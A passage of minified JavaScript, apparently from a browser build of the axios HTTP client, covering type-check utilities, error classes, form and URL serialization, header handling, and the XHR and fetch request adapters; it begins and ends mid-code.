l=i("string"),f=i("function"),d=i("number"),h=e=>null!==e&&"object"==typeof e,p=e=>{if("object"!==r(e))return!1;const t=n(e);return!(null!==t&&t!==Object.prototype&&null!==Object.getPrototypeOf(t)||Symbol.toStringTag in e||Symbol.iterator in e)},m=s("Date"),y=s("File"),b=s("Blob"),g=s("FileList"),w=s("URLSearchParams"),[E,O,R,S]=["ReadableStream","Request","Response","Headers"].map(s);function T(e,t,{allOwnKeys:n=!1}={}){if(null==e)return;let r,o;if("object"!=typeof e&&(e=[e]),a(e))for(r=0,o=e.length;r<o;r++)t.call(null,e[r],r,e);else{const o=n?Object.getOwnPropertyNames(e):Object.keys(e),s=o.length;let i;for(r=0;r<s;r++)i=o[r],t.call(null,e[i],i,e)}}function A(e,t){t=t.toLowerCase();const n=Object.keys(e);let r,o=n.length;for(;o-- >0;)if(r=n[o],t===r.toLowerCase())return r;return null}const v="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof self?self:"undefined"!=typeof window?window:global,C=e=>!c(e)&&e!==v;const x=(N="undefined"!=typeof Uint8Array&&n(Uint8Array),e=>N&&e instanceof N);var N;const j=s("HTMLFormElement"),P=(({hasOwnProperty:e})=>(t,n)=>e.call(t,n))(Object.prototype),_=s("RegExp"),F=(e,t)=>{const n=Object.getOwnPropertyDescriptors(e),r={};T(n,((n,o)=>{let s;!1!==(s=t(n,o,e))&&(r[o]=s||n)})),Object.defineProperties(e,r)},L="abcdefghijklmnopqrstuvwxyz",U={DIGIT:"0123456789",ALPHA:L,ALPHA_DIGIT:L+L.toUpperCase()+"0123456789"};const B=s("AsyncFunction"),D={isArray:a,isArrayBuffer:u,isBuffer:function(e){return null!==e&&!c(e)&&null!==e.constructor&&!c(e.constructor)&&f(e.constructor.isBuffer)&&e.constructor.isBuffer(e)},isFormData:e=>{let t;return e&&("function"==typeof FormData&&e instanceof FormData||f(e.append)&&("formdata"===(t=r(e))||"object"===t&&f(e.toString)&&"[object FormData]"===e.toString()))},isArrayBufferView:function(e){let t;return t="undefined"!=typeof ArrayBuffer&&ArrayBuffer.isView?ArrayBuffer.isView(e):e&&e.buffer&&u(e.buffer),t},isString:l,isNumber:d,isBoolean:e=>!0===e||!1===e,isObject:h,isPlainObject:p,isReadableStream:E,isRequest:O,isResponse:R,isHeaders:S,isUndefined:c,isDate:m,isFile:y,isBlob:b,isRegExp:_,isFunction:f,isStream:e=>h(e)&&f(e.pipe),isURLSearchParams:w,isTypedArray:x,isFileList:g,forEach:T,merge:function e(){const{caseless:t}=C(this)&&this||{},n={},r=(r,o)=>{const s=t&&A(n,o)||o;p(n[s])&&p(r)?n[s]=e(n[s],r):p(r)?n[s]=e({},r):a(r)?n[s]=r.slice():n[s]=r};for(let e=0,t=arguments.length;e<t;e++)arguments[e]&&T(arguments[e],r);return n},extend:(t,n,r,{allOwnKeys:o}={})=>(T(n,((n,o)=>{r&&f(n)?t[o]=e(n,r):t[o]=n}),{allOwnKeys:o}),t),trim:e=>e.trim?e.trim():e.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,""),stripBOM:e=>(65279===e.charCodeAt(0)&&(e=e.slice(1)),e),inherits:(e,t,n,r)=>{e.prototype=Object.create(t.prototype,r),e.prototype.constructor=e,Object.defineProperty(e,"super",{value:t.prototype}),n&&Object.assign(e.prototype,n)},toFlatObject:(e,t,r,o)=>{let s,i,a;const c={};if(t=t||{},null==e)return t;do{for(s=Object.getOwnPropertyNames(e),i=s.length;i-- >0;)a=s[i],o&&!o(a,e,t)||c[a]||(t[a]=e[a],c[a]=!0);e=!1!==r&&n(e)}while(e&&(!r||r(e,t))&&e!==Object.prototype);return t},kindOf:r,kindOfTest:s,endsWith:(e,t,n)=>{e=String(e),(void 0===n||n>e.length)&&(n=e.length),n-=t.length;const r=e.indexOf(t,n);return-1!==r&&r===n},toArray:e=>{if(!e)return null;if(a(e))return e;let t=e.length;if(!d(t))return null;const n=new Array(t);for(;t-- >0;)n[t]=e[t];return n},forEachEntry:(e,t)=>{const n=(e&&e[Symbol.iterator]).call(e);let r;for(;(r=n.next())&&!r.done;){const n=r.value;t.call(e,n[0],n[1])}},matchAll:(e,t)=>{let n;const r=[];for(;null!==(n=e.exec(t));)r.push(n);return r},isHTMLForm:j,hasOwnProperty:P,hasOwnProp:P,reduceDescriptors:F,freezeMethods:e=>{F(e,((t,n)=>{if(f(e)&&-1!==["arguments","caller","callee"].indexOf(n))return!1;const r=e[n];f(r)&&(t.enumerable=!1,"writable"in t?t.writable=!1:t.set||(t.set=()=>{throw Error("Can not rewrite read-only method '"+n+"'")}))}))},toObjectSet:(e,t)=>{const n={},r=e=>{e.forEach((e=>{n[e]=!0}))};return a(e)?r(e):r(String(e).split(t)),n},toCamelCase:e=>e.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,(function(e,t,n){return t.toUpperCase()+n})),noop:()=>{},toFiniteNumber:(e,t)=>null!=e&&Number.isFinite(e=+e)?e:t,findKey:A,global:v,isContextDefined:C,ALPHABET:U,generateString:(e=16,t=U.ALPHA_DIGIT)=>{let n="";const{length:r}=t;for(;e--;)n+=t[Math.random()*r|0];return n},isSpecCompliantForm:function(e){return!!(e&&f(e.append)&&"FormData"===e[Symbol.toStringTag]&&e[Symbol.iterator])},toJSONObject:e=>{const t=new Array(10),n=(e,r)=>{if(h(e)){if(t.indexOf(e)>=0)return;if(!("toJSON"in e)){t[r]=e;const o=a(e)?[]:{};return T(e,((e,t)=>{const s=n(e,r+1);!c(s)&&(o[t]=s)})),t[r]=void 0,o}}return e};return n(e,0)},isAsyncFn:B,isThenable:e=>e&&(h(e)||f(e))&&f(e.then)&&f(e.catch)};function k(e,t,n,r,o){Error.call(this),Error.captureStackTrace?Error.captureStackTrace(this,this.constructor):this.stack=(new Error).stack,this.message=e,this.name="AxiosError",t&&(this.code=t),n&&(this.config=n),r&&(this.request=r),o&&(this.response=o)}D.inherits(k,Error,{toJSON:function(){return{message:this.message,name:this.name,description:this.description,number:this.number,fileName:this.fileName,lineNumber:this.lineNumber,columnNumber:this.columnNumber,stack:this.stack,config:D.toJSONObject(this.config),code:this.code,status:this.response&&this.response.status?this.response.status:null}}});const q=k.prototype,I={};["ERR_BAD_OPTION_VALUE","ERR_BAD_OPTION","ECONNABORTED","ETIMEDOUT","ERR_NETWORK","ERR_FR_TOO_MANY_REDIRECTS","ERR_DEPRECATED","ERR_BAD_RESPONSE","ERR_BAD_REQUEST","ERR_CANCELED","ERR_NOT_SUPPORT","ERR_INVALID_URL"].forEach((e=>{I[e]={value:e}})),Object.defineProperties(k,I),Object.defineProperty(q,"isAxiosError",{value:!0}),k.from=(e,t,n,r,o,s)=>{const i=Object.create(q);return D.toFlatObject(e,i,(function(e){return e!==Error.prototype}),(e=>"isAxiosError"!==e)),k.call(i,e.message,t,n,r,o),i.cause=e,i.name=e.name,s&&Object.assign(i,s),i};function z(e){return D.isPlainObject(e)||D.isArray(e)}function M(e){return D.endsWith(e,"[]")?e.slice(0,-2):e}function H(e,t,n){return e?e.concat(t).map((function(e,t){return e=M(e),!n&&t?"["+e+"]":e})).join(n?".":""):t}const J=D.toFlatObject(D,{},null,(function(e){return/^is[A-Z]/.test(e)}));function W(e,t,n){if(!D.isObject(e))throw new TypeError("target must be an object");t=t||new FormData;const r=(n=D.toFlatObject(n,{metaTokens:!0,dots:!1,indexes:!1},!1,(function(e,t){return!D.isUndefined(t[e])}))).metaTokens,o=n.visitor||u,s=n.dots,i=n.indexes,a=(n.Blob||"undefined"!=typeof Blob&&Blob)&&D.isSpecCompliantForm(t);if(!D.isFunction(o))throw new TypeError("visitor must be a function");function c(e){if(null===e)return"";if(D.isDate(e))return e.toISOString();if(!a&&D.isBlob(e))throw new k("Blob is not supported. Use a Buffer instead.");return D.isArrayBuffer(e)||D.isTypedArray(e)?a&&"function"==typeof Blob?new Blob([e]):Buffer.from(e):e}function u(e,n,o){let a=e;if(e&&!o&&"object"==typeof e)if(D.endsWith(n,"{}"))n=r?n:n.slice(0,-2),e=JSON.stringify(e);else if(D.isArray(e)&&function(e){return D.isArray(e)&&!e.some(z)}(e)||(D.isFileList(e)||D.endsWith(n,"[]"))&&(a=D.toArray(e)))return n=M(n),a.forEach((function(e,r){!D.isUndefined(e)&&null!==e&&t.append(!0===i?H([n],r,s):null===i?n:n+"[]",c(e))})),!1;return!!z(e)||(t.append(H(o,n,s),c(e)),!1)}const l=[],f=Object.assign(J,{defaultVisitor:u,convertValue:c,isVisitable:z});if(!D.isObject(e))throw new TypeError("data must be an object");return function e(n,r){if(!D.isUndefined(n)){if(-1!==l.indexOf(n))throw Error("Circular reference detected in "+r.join("."));l.push(n),D.forEach(n,(function(n,s){!0===(!(D.isUndefined(n)||null===n)&&o.call(t,n,D.isString(s)?s.trim():s,r,f))&&e(n,r?r.concat(s):[s])})),l.pop()}}(e),t}function V(e){const t={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+","%00":"\0"};return encodeURIComponent(e).replace(/[!'()~]|%20|%00/g,(function(e){return t[e]}))}function K(e,t){this._pairs=[],e&&W(e,this,t)}const $=K.prototype;function G(e){return encodeURIComponent(e).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}function X(e,t,n){if(!t)return e;const r=n&&n.encode||G,o=n&&n.serialize;let s;if(s=o?o(t,n):D.isURLSearchParams(t)?t.toString():new K(t,n).toString(r),s){const t=e.indexOf("#");-1!==t&&(e=e.slice(0,t)),e+=(-1===e.indexOf("?")?"?":"&")+s}return e}$.append=function(e,t){this._pairs.push([e,t])},$.toString=function(e){const t=e?function(t){return e.call(this,t,V)}:V;return this._pairs.map((function(e){return t(e[0])+"="+t(e[1])}),"").join("&")};const Q=class{constructor(){this.handlers=[]}use(e,t,n){return this.handlers.push({fulfilled:e,rejected:t,synchronous:!!n&&n.synchronous,runWhen:n?n.runWhen:null}),this.handlers.length-1}eject(e){this.handlers[e]&&(this.handlers[e]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(e){D.forEach(this.handlers,(function(t){null!==t&&e(t)}))}},Z={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1},Y={isBrowser:!0,classes:{URLSearchParams:"undefined"!=typeof URLSearchParams?URLSearchParams:K,FormData:"undefined"!=typeof FormData?FormData:null,Blob:"undefined"!=typeof Blob?Blob:null},protocols:["http","https","file","blob","url","data"]},ee="undefined"!=typeof window&&"undefined"!=typeof document,te=(ne="undefined"!=typeof navigator&&navigator.product,ee&&["ReactNative","NativeScript","NS"].indexOf(ne)<0);var ne;const re="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope&&"function"==typeof self.importScripts,oe=ee&&window.location.href||"http://localhost",se={...Object.freeze({__proto__:null,hasBrowserEnv:ee,hasStandardBrowserWebWorkerEnv:re,hasStandardBrowserEnv:te,origin:oe}),...Y};function ie(e){function t(e,n,r,o){let s=e[o++];if("__proto__"===s)return!0;const i=Number.isFinite(+s),a=o>=e.length;if(s=!s&&D.isArray(r)?r.length:s,a)return D.hasOwnProp(r,s)?r[s]=[r[s],n]:r[s]=n,!i;r[s]&&D.isObject(r[s])||(r[s]=[]);return t(e,n,r[s],o)&&D.isArray(r[s])&&(r[s]=function(e){const t={},n=Object.keys(e);let r;const o=n.length;let s;for(r=0;r<o;r++)s=n[r],t[s]=e[s];return t}(r[s])),!i}if(D.isFormData(e)&&D.isFunction(e.entries)){const n={};return D.forEachEntry(e,((e,r)=>{t(function(e){return D.matchAll(/\w+|\[(\w*)]/g,e).map((e=>"[]"===e[0]?"":e[1]||e[0]))}(e),r,n,0)})),n}return null}const ae={transitional:Z,adapter:["xhr","http","fetch"],transformRequest:[function(e,t){const n=t.getContentType()||"",r=n.indexOf("application/json")>-1,o=D.isObject(e);o&&D.isHTMLForm(e)&&(e=new FormData(e));if(D.isFormData(e))return r?JSON.stringify(ie(e)):e;if(D.isArrayBuffer(e)||D.isBuffer(e)||D.isStream(e)||D.isFile(e)||D.isBlob(e)||D.isReadableStream(e))return e;if(D.isArrayBufferView(e))return e.buffer;if(D.isURLSearchParams(e))return t.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),e.toString();let s;if(o){if(n.indexOf("application/x-www-form-urlencoded")>-1)return function(e,t){return W(e,new se.classes.URLSearchParams,Object.assign({visitor:function(e,t,n,r){return se.isNode&&D.isBuffer(e)?(this.append(t,e.toString("base64")),!1):r.defaultVisitor.apply(this,arguments)}},t))}(e,this.formSerializer).toString();if((s=D.isFileList(e))||n.indexOf("multipart/form-data")>-1){const t=this.env&&this.env.FormData;return W(s?{"files[]":e}:e,t&&new t,this.formSerializer)}}return o||r?(t.setContentType("application/json",!1),function(e,t,n){if(D.isString(e))try{return(t||JSON.parse)(e),D.trim(e)}catch(e){if("SyntaxError"!==e.name)throw e}return(n||JSON.stringify)(e)}(e)):e}],transformResponse:[function(e){const t=this.transitional||ae.transitional,n=t&&t.forcedJSONParsing,r="json"===this.responseType;if(D.isResponse(e)||D.isReadableStream(e))return e;if(e&&D.isString(e)&&(n&&!this.responseType||r)){const n=!(t&&t.silentJSONParsing)&&r;try{return JSON.parse(e)}catch(e){if(n){if("SyntaxError"===e.name)throw k.from(e,k.ERR_BAD_RESPONSE,this,null,this.response);throw e}}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:se.classes.FormData,Blob:se.classes.Blob},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};D.forEach(["delete","get","head","post","put","patch"],(e=>{ae.headers[e]={}}));const ce=ae,ue=D.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),le=Symbol("internals");function fe(e){return e&&String(e).trim().toLowerCase()}function de(e){return!1===e||null==e?e:D.isArray(e)?e.map(de):String(e)}function he(e,t,n,r,o){return D.isFunction(r)?r.call(this,t,n):(o&&(t=n),D.isString(t)?D.isString(r)?-1!==t.indexOf(r):D.isRegExp(r)?r.test(t):void 0:void 0)}class pe{constructor(e){e&&this.set(e)}set(e,t,n){const r=this;function o(e,t,n){const o=fe(t);if(!o)throw new Error("header name must be a non-empty string");const s=D.findKey(r,o);(!s||void 0===r[s]||!0===n||void 0===n&&!1!==r[s])&&(r[s||t]=de(e))}const s=(e,t)=>D.forEach(e,((e,n)=>o(e,n,t)));if(D.isPlainObject(e)||e instanceof this.constructor)s(e,t);else if(D.isString(e)&&(e=e.trim())&&!/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(e.trim()))s((e=>{const t={};let n,r,o;return e&&e.split("\n").forEach((function(e){o=e.indexOf(":"),n=e.substring(0,o).trim().toLowerCase(),r=e.substring(o+1).trim(),!n||t[n]&&ue[n]||("set-cookie"===n?t[n]?t[n].push(r):t[n]=[r]:t[n]=t[n]?t[n]+", "+r:r)})),t})(e),t);else if(D.isHeaders(e))for(const[t,r]of e.entries())o(r,t,n);else null!=e&&o(t,e,n);return this}get(e,t){if(e=fe(e)){const n=D.findKey(this,e);if(n){const e=this[n];if(!t)return e;if(!0===t)return function(e){const t=Object.create(null),n=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;let r;for(;r=n.exec(e);)t[r[1]]=r[2];return t}(e);if(D.isFunction(t))return t.call(this,e,n);if(D.isRegExp(t))return t.exec(e);throw new TypeError("parser must be boolean|regexp|function")}}}has(e,t){if(e=fe(e)){const n=D.findKey(this,e);return!(!n||void 0===this[n]||t&&!he(0,this[n],n,t))}return!1}delete(e,t){const n=this;let r=!1;function o(e){if(e=fe(e)){const o=D.findKey(n,e);!o||t&&!he(0,n[o],o,t)||(delete n[o],r=!0)}}return D.isArray(e)?e.forEach(o):o(e),r}clear(e){const t=Object.keys(this);let n=t.length,r=!1;for(;n--;){const o=t[n];e&&!he(0,this[o],o,e,!0)||(delete this[o],r=!0)}return r}normalize(e){const t=this,n={};return D.forEach(this,((r,o)=>{const s=D.findKey(n,o);if(s)return t[s]=de(r),void delete t[o];const i=e?function(e){return e.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,((e,t,n)=>t.toUpperCase()+n))}(o):String(o).trim();i!==o&&delete t[o],t[i]=de(r),n[i]=!0})),this}concat(...e){return this.constructor.concat(this,...e)}toJSON(e){const t=Object.create(null);return D.forEach(this,((n,r)=>{null!=n&&!1!==n&&(t[r]=e&&D.isArray(n)?n.join(", "):n)})),t}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map((([e,t])=>e+": "+t)).join("\n")}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(e){return e instanceof this?e:new this(e)}static concat(e,...t){const n=new this(e);return t.forEach((e=>n.set(e))),n}static accessor(e){const t=(this[le]=this[le]={accessors:{}}).accessors,n=this.prototype;function r(e){const r=fe(e);t[r]||(!function(e,t){const n=D.toCamelCase(" "+t);["get","set","has"].forEach((r=>{Object.defineProperty(e,r+n,{value:function(e,n,o){return this[r].call(this,t,e,n,o)},configurable:!0})}))}(n,e),t[r]=!0)}return D.isArray(e)?e.forEach(r):r(e),this}}pe.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]),D.reduceDescriptors(pe.prototype,(({value:e},t)=>{let n=t[0].toUpperCase()+t.slice(1);return{get:()=>e,set(e){this[n]=e}}})),D.freezeMethods(pe);const me=pe;function ye(e,t){const n=this||ce,r=t||n,o=me.from(r.headers);let s=r.data;return D.forEach(e,(function(e){s=e.call(n,s,o.normalize(),t?t.status:void 0)})),o.normalize(),s}function be(e){return!(!e||!e.__CANCEL__)}function ge(e,t,n){k.call(this,null==e?"canceled":e,k.ERR_CANCELED,t,n),this.name="CanceledError"}function we(e,t,n){const r=n.config.validateStatus;n.status&&r&&!r(n.status)?t(new k("Request failed with status code "+n.status,[k.ERR_BAD_REQUEST,k.ERR_BAD_RESPONSE][Math.floor(n.status/100)-4],n.config,n.request,n)):e(n)}D.inherits(ge,k,{__CANCEL__:!0});const Ee=(e,t,n=3)=>{let r=0;const o=function(e,t){e=e||10;const n=new Array(e),r=new Array(e);let o,s=0,i=0;return t=void 0!==t?t:1e3,function(a){const c=Date.now(),u=r[i];o||(o=c),n[s]=a,r[s]=c;let l=i,f=0;for(;l!==s;)f+=n[l++],l%=e;if(s=(s+1)%e,s===i&&(i=(i+1)%e),c-o<t)return;const d=u&&c-u;return d?Math.round(1e3*f/d):void 0}}(50,250);return function(e,t){let n=0;const r=1e3/t;let o=null;return function(){const t=!0===this,s=Date.now();if(t||s-n>r)return o&&(clearTimeout(o),o=null),n=s,e.apply(null,arguments);o||(o=setTimeout((()=>(o=null,n=Date.now(),e.apply(null,arguments))),r-(s-n)))}}((n=>{const s=n.loaded,i=n.lengthComputable?n.total:void 0,a=s-r,c=o(a);r=s;const u={loaded:s,total:i,progress:i?s/i:void 0,bytes:a,rate:c||void 0,estimated:c&&i&&s<=i?(i-s)/c:void 0,event:n,lengthComputable:null!=i};u[t?"download":"upload"]=!0,e(u)}),n)},Oe=se.hasStandardBrowserEnv?function(){const e=/(msie|trident)/i.test(navigator.userAgent),t=document.createElement("a");let n;function r(n){let r=n;return e&&(t.setAttribute("href",r),r=t.href),t.setAttribute("href",r),{href:t.href,protocol:t.protocol?t.protocol.replace(/:$/,""):"",host:t.host,search:t.search?t.search.replace(/^\?/,""):"",hash:t.hash?t.hash.replace(/^#/,""):"",hostname:t.hostname,port:t.port,pathname:"/"===t.pathname.charAt(0)?t.pathname:"/"+t.pathname}}return n=r(window.location.href),function(e){const t=D.isString(e)?r(e):e;return t.protocol===n.protocol&&t.host===n.host}}():function(){return!0},Re=se.hasStandardBrowserEnv?{write(e,t,n,r,o,s){const i=[e+"="+encodeURIComponent(t)];D.isNumber(n)&&i.push("expires="+new Date(n).toGMTString()),D.isString(r)&&i.push("path="+r),D.isString(o)&&i.push("domain="+o),!0===s&&i.push("secure"),document.cookie=i.join("; ")},read(e){const t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove(e){this.write(e,"",Date.now()-864e5)}}:{write(){},read:()=>null,remove(){}};function Se(e,t){return e&&!/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)?function(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}(e,t):t}const Te=e=>e instanceof me?{...e}:e;function Ae(e,t){t=t||{};const n={};function r(e,t,n){return D.isPlainObject(e)&&D.isPlainObject(t)?D.merge.call({caseless:n},e,t):D.isPlainObject(t)?D.merge({},t):D.isArray(t)?t.slice():t}function o(e,t,n){return D.isUndefined(t)?D.isUndefined(e)?void 0:r(void 0,e,n):r(e,t,n)}function s(e,t){if(!D.isUndefined(t))return r(void 0,t)}function i(e,t){return D.isUndefined(t)?D.isUndefined(e)?void 0:r(void 0,e):r(void 0,t)}function a(n,o,s){return s in t?r(n,o):s in e?r(void 0,n):void 0}const c={url:s,method:s,data:s,baseURL:i,transformRequest:i,transformResponse:i,paramsSerializer:i,timeout:i,timeoutMessage:i,withCredentials:i,withXSRFToken:i,adapter:i,responseType:i,xsrfCookieName:i,xsrfHeaderName:i,onUploadProgress:i,onDownloadProgress:i,decompress:i,maxContentLength:i,maxBodyLength:i,beforeRedirect:i,transport:i,httpAgent:i,httpsAgent:i,cancelToken:i,socketPath:i,responseEncoding:i,validateStatus:a,headers:(e,t)=>o(Te(e),Te(t),!0)};return D.forEach(Object.keys(Object.assign({},e,t)),(function(r){const s=c[r]||o,i=s(e[r],t[r],r);D.isUndefined(i)&&s!==a||(n[r]=i)})),n}const ve=e=>{const t=Ae({},e);let n,{data:r,withXSRFToken:o,xsrfHeaderName:s,xsrfCookieName:i,headers:a,auth:c}=t;if(t.headers=a=me.from(a),t.url=X(Se(t.baseURL,t.url),e.params,e.paramsSerializer),c&&a.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):""))),D.isFormData(r))if(se.hasStandardBrowserEnv||se.hasStandardBrowserWebWorkerEnv)a.setContentType(void 0);else if(!1!==(n=a.getContentType())){const[e,...t]=n?n.split(";").map((e=>e.trim())).filter(Boolean):[];a.setContentType([e||"multipart/form-data",...t].join("; "))}if(se.hasStandardBrowserEnv&&(o&&D.isFunction(o)&&(o=o(t)),o||!1!==o&&Oe(t.url))){const e=s&&i&&Re.read(i);e&&a.set(s,e)}return t},Ce="undefined"!=typeof XMLHttpRequest&&function(e){return new Promise((function(t,n){const r=ve(e);let o=r.data;const s=me.from(r.headers).normalize();let i,{responseType:a}=r;function c(){r.cancelToken&&r.cancelToken.unsubscribe(i),r.signal&&r.signal.removeEventListener("abort",i)}let u=new XMLHttpRequest;function l(){if(!u)return;const r=me.from("getAllResponseHeaders"in u&&u.getAllResponseHeaders());we((function(e){t(e),c()}),(function(e){n(e),c()}),{data:a&&"text"!==a&&"json"!==a?u.response:u.responseText,status:u.status,statusText:u.statusText,headers:r,config:e,request:u}),u=null}u.open(r.method.toUpperCase(),r.url,!0),u.timeout=r.timeout,"onloadend"in u?u.onloadend=l:u.onreadystatechange=function(){u&&4===u.readyState&&(0!==u.status||u.responseURL&&0===u.responseURL.indexOf("file:"))&&setTimeout(l)},u.onabort=function(){u&&(n(new k("Request aborted",k.ECONNABORTED,r,u)),u=null)},u.onerror=function(){n(new k("Network Error",k.ERR_NETWORK,r,u)),u=null},u.ontimeout=function(){let e=r.timeout?"timeout of "+r.timeout+"ms exceeded":"timeout exceeded";const t=r.transitional||Z;r.timeoutErrorMessage&&(e=r.timeoutErrorMessage),n(new k(e,t.clarifyTimeoutError?k.ETIMEDOUT:k.ECONNABORTED,r,u)),u=null},void 0===o&&s.setContentType(null),"setRequestHeader"in u&&D.forEach(s.toJSON(),(function(e,t){u.setRequestHeader(t,e)})),D.isUndefined(r.withCredentials)||(u.withCredentials=!!r.withCredentials),a&&"json"!==a&&(u.responseType=r.responseType),"function"==typeof r.onDownloadProgress&&u.addEventListener("progress",Ee(r.onDownloadProgress,!0)),"function"==typeof r.onUploadProgress&&u.upload&&u.upload.addEventListener("progress",Ee(r.onUploadProgress)),(r.cancelToken||r.signal)&&(i=t=>{u&&(n(!t||t.type?new ge(null,e,u):t),u.abort(),u=null)},r.cancelToken&&r.cancelToken.subscribe(i),r.signal&&(r.signal.aborted?i():r.signal.addEventListener("abort",i)));const f=function(e){const t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}(r.url);f&&-1===se.protocols.indexOf(f)?n(new k("Unsupported protocol "+f+":",k.ERR_BAD_REQUEST,e)):u.send(o||null)}))},xe=(e,t)=>{let n,r=new AbortController;const o=function(e){if(!n){n=!0,i();const t=e instanceof Error?e:this.reason;r.abort(t instanceof k?t:new ge(t instanceof Error?t.message:t))}};let s=t&&setTimeout((()=>{o(new k(`timeout ${t} of ms exceeded`,k.ETIMEDOUT))}),t);const i=()=>{e&&(s&&clearTimeout(s),s=null,e.forEach((e=>{e&&(e.removeEventListener?e.removeEventListener("abort",o):e.unsubscribe(o))})),e=null)};e.forEach((e=>e&&e.addEventListener&&e.addEventListener("abort",o)));const{signal:a}=r;return a.unsubscribe=i,[a,()=>{s&&clearTimeout(s),s=null}]},Ne=function*(e,t){let n=e.byteLength;if(!t||n<t)return void(yield e);let r,o=0;for(;o<n;)r=o+t,yield e.slice(o,r),o=r},je=(e,t,n,r,o)=>{const s=async function*(e,t,n){for await(const r of e)yield*Ne(ArrayBuffer.isView(r)?r:await n(String(r)),t)}(e,t,o);let i=0;return new ReadableStream({type:"bytes",async pull(e){const{done:t,value:o}=await s.next();if(t)return e.close(),void r();let a=o.byteLength;n&&n(i+=a),e.enqueue(new Uint8Array(o))},cancel:e=>(r(e),s.return())},{highWaterMark:2})},Pe=(e,t)=>{const n=null!=e;return r=>setTimeout((()=>t({lengthComputable:n,total:e,loaded:r})))},_e="function"==typeof fetch&&"function"==typeof Request&&"function"==typeof Response,Fe=_e&&"function"==typeof ReadableStream,Le=_e&&("function"==typeof TextEncoder?(Ue=new TextEncoder,e=>Ue.encode(e)):async e=>new Uint8Array(await new Response(e).arrayBuffer()));var Ue;const Be=Fe&&(()=>{let e=!1;const t=new Request(se.origin,{body:new ReadableStream,method:"POST",get duplex(){return e=!0,"half"}}).headers.has("Content-Type");return e&&!t})(),De=Fe&&!!(()=>{try{return D.isReadableStream(new Response("").body)}catch(e){}})(),ke={stream:De&&(e=>e.body)};var qe;_e&&(qe=new Response,["text","arrayBuffer","blob","formData","stream"].forEach((e=>{!ke[e]&&(ke[e]=D.isFunction(qe[e])?t=>t[e]():(t,n)=>{throw new k(`Response type '${e}' is not supported`,k.ERR_NOT_SUPPORT,n)})})));const Ie=async(e,t)=>{const n=D.toFiniteNumber(e.getContentLength());return null==n?(async e=>null==e?0:D.isBlob(e)?e.size:D.isSpecCompliantForm(e)?(await new Request(e).arrayBuffer()).byteLength:D.isArrayBufferView(e)?e.byteLength:(D.isURLSearchParams(e)&&(e+=""),D.isString(e)?(await Le(e)).byteLength:void 0))(t):n},ze={http:null,xhr:Ce,fetch:_e&&(async e=>{let{url:t,method:n,data:r,signal:o,cancelToken:s,timeout:i,onDownloadProgress:a,onUploadProgress:c,responseType:u,headers:l,withCredentials:f="same-origin",fetchOptions:d}=ve(e);u=u?(u+"").toLowerCase():"text";let h,p,[m,y]=o||s||i?xe([o,s],i):[];const b=()=>{!h&&setTimeout((()=>{m&&m.unsubscribe()})),h=!0};let g;try{if(c&&Be&&"get"!==n&&"head"!==n&&0!==(g=await Ie(l,r))){let e,n=new Request(t,{method:"POST",body:r,duplex:"half"});D.isFormData(r)&&(e=n.headers.get("content-type"))&&l.setContentType(e),n.body&&(r=je(n.body,65536,Pe(g,Ee(c)),null,Le))}D.isString(f)||(f=f?"cors":"omit"),p=new Request(t,{...d,signal:m,method:n.toUpperCase(),headers:l.normalize().toJSON(),body:r,duplex:"half",withCredentials:f});let o=await fetch(p);const s=De&&("stream"===u||"response"===u);if(De&&(a||s)){const e={};["status","statusText","headers"].forEach((t=>{e[t]=o[t]}));const t=D.toFiniteNumber(o.headers.get("content-length"));o=new Response(je(o.body,65536,a&&Pe(t,Ee(a,!0)),s&&b,Le),e)}u=u||"text";let i=await ke[D.findKey(ke,u)||"text"](o,e);return!s&&b(),y&&y(),await new Promise(((t,n)=>{we(t,n,{data:i,headers:me.from(o.headers),status:o.status,statusText:o.statusText,config:e,request:p})}))}catch(t){if(b(),t&&"TypeError"===t.name&&/fetch/i.test(t.message))throw Object.assign(new k("Network Error",k.ERR_NETWORK,e,p),{cause:t.cause||t});throw k.from(t,t&&t.code,e,p)}})};D.forEach(ze,((e,t)=>{if(e){try{Object.defineProperty(e,"name",{value:t})}catch(e){}Object.defineProperty(e,"adapterName",{value:t})}}));const Me=e=>`- ${e}`,He=e=>D.isFunction(e)||null===e||!1===e,Je=e=>{e=D.isArray(e)?e:[e];const{length:t}=e;let n,r;const o={};for(let s=0;s<t;s++){let t;if(n=e[s],r=n,!He(n)&&(r=ze[(t=String(n)).toLowerCase()],void 0===r))throw new k(`Unknown adapter '${t}'`);if(r)break;o[t||"#"+s]=r}if(!r){const e=Object.entries(o).map((([e,t])=>`adapter ${e} `+(!1===t?"is not supported by the environment":"is not available in the build")));throw new k("There is no suitable adapter to dispatch the request "+(t?e.length>1?"since :\n"+e.map(Me).join("\n"):" "+Me(e[0]):"as no adapter 